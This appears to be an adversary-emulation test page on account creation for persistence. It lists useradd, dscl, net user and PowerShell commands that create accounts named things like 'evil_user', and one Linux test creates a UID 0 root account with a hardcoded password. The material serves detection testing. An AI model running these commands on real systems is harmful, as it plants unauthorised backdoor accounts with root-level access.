Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.The
net user
commands can be used to create a local or domain account.
Create a user via useradd
Supported Platforms: Linux
Name | Description | Type | Default Value |
---|---|---|---|
username | Username of the user to create | String | evil_user |
comment | Comment to record when creating the user | String | Evil Account |
useradd -M -N -r -s /bin/bash -c "#{comment}" #{username}
Creates a user on a MacOS system with dscl
Supported Platforms: macOS
Name | Description | Type | Default Value |
---|---|---|---|
username | Username of the user to create | String | evil_user |
realname | 'realname' to record when creating the user | String | Evil Account |
dscl . -create /Users/#{username}
dscl . -create /Users/#{username} UserShell /bin/bash
dscl . -create /Users/#{username} RealName "#{realname}"
dscl . -create /Users/#{username} UniqueID "1010"
dscl . -create /Users/#{username} PrimaryGroupID 80
dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username}
Creates a new user in a command prompt
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
username | Username of the user to create | String | Evil Account |
net user /add #{username}
Creates a new user in PowerShell
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
username | Username of the user to create | String | Evil Account |
New-LocalUser -Name #{username} -NoPassword
net user /add #{username}
Creates a new user in Linux and adds the user to the root
group. This technique was used by adversaries during the Butter attack campaign.
Supported Platforms: Linux
Name | Description | Type | Default Value |
---|---|---|---|
username | Username of the user to create | String | butter |
password | Password of the user to create | String | BetterWithButter |
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash #{username}
echo "#{password}" | passwd --stdin #{username}